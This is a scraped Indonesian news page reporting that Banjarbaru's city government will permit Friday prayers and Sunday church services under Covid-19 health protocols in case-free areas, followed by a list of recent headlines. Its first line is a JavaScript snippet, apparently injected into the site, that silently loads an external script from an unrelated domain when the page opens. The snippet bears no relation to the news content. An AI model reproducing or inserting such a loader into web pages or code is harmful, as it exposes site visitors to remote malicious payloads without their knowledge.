(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Pemko Banjarbaru Izinkan Sholat Jumat dan Ibadah Minggu di Gereja, Tapi dengan Catatan Ini


KANALKALIMANTAN.COM, BANJARBARU – Aktivitas masyarakat kembali meningkat setelah berakhirnya penerapan Pembatasan Sosial Berskala Besar (PSBB) di kota Banjarbaru. Satu kebijakan diambil Pemerintah Kota (Pemko) Banjarbaru dengan memberlakukan Pembatasan Kegiatan Masyarakat (PKM).

Adapun PKM ini bertujuan untuk membatasi ruang gerak masyarakat, khususnya di tempat-tempat keramaian. Selain itu, PKM juga menjadi momentum untuk melakukan pendisiplinan terhadap aktivitas masyarakat agar selalu mengikuti protokol Covid-19.

Lantas, dengan adanya kebijakan baru ini, bagaimana dengan pelaksanaan protokol Covid-19 di tempat-tempat ibadah?

Menjawab pertanyaan ini, Rabu (3/6/2020) siang, Pemko Banjarbaru menggelar rapat koordinasi persiapan pelaksanaan protokol Covid-19 khusus di tempat-tempat ibadah. Dalam rapat kali ini, turut dihadirkan beberapa pihak terkait seperti MUI, FKUB (Forum Kerukunan Umat Beragam), Muhammadiyah, NU, hingga Dewan Masjid Indonesia.

Rapat yang berlangsung selama kurang lebih 2 jam tersebut, membuahkan poin-poin penting. Salah satunya yakni Pemko Banjarbaru menjanjikan keluarnya izin operasional peribadahan.

Wali Kota Banjarbaru Nadjmi Adhani mengatakan pihaknya telah memutuskan tentang bagaimana protokol kesehatan di tempat-tempat ibadah seperti masjid, gereja dan tempat ibadah lainnya. Keputusan ini berdasarkan surat edaran yang dikeluarkan oleh Kementrian Agama tentang protokol kesehatan pada tempat ibadah.

“Khusus di Banjarbaru, Insyaallah kita berikan izin untuk operasional beribadah terutama Sholat Jumat dan ibadah umat Kristiani di hari Minggu dengan mengutamakan protokol Covid-19,” katanya.

Namun begitu, izin operasional peribadahan yang akan dikeluarkan didasari klasifikasi wilayah. Dalam hal ini, Pemko Banjarbaru akan mengeluarkan izin di tempat-tempat ibadah yang wilayahnya dianggap aman dan tidak ditemukan kasus Covid-19.

“Kita akan evaluasi pada daerah yang kita anggap aman. Pada kawasan tertentu yang tidak ditemukan kasus Covid-19, maka kita akan mengeluarkan izin operasional peribadahan. Tapi sesuai protokol kesehatan,” pungkas Nadjmi.

Ini berarti kegiatan peribadahan, di beberapa tempat-tempat ibadah yang ada di Banjarbaru akan mulai kembali normal. Hanya saja, umat beragama yang beribadah harus mengikuti protokol kesehatan, seperti memakai masker dan menjaga jarak satu dengan yang lain. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

11 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

13 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

15 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

16 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

16 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

18 jam ago

This website uses cookies.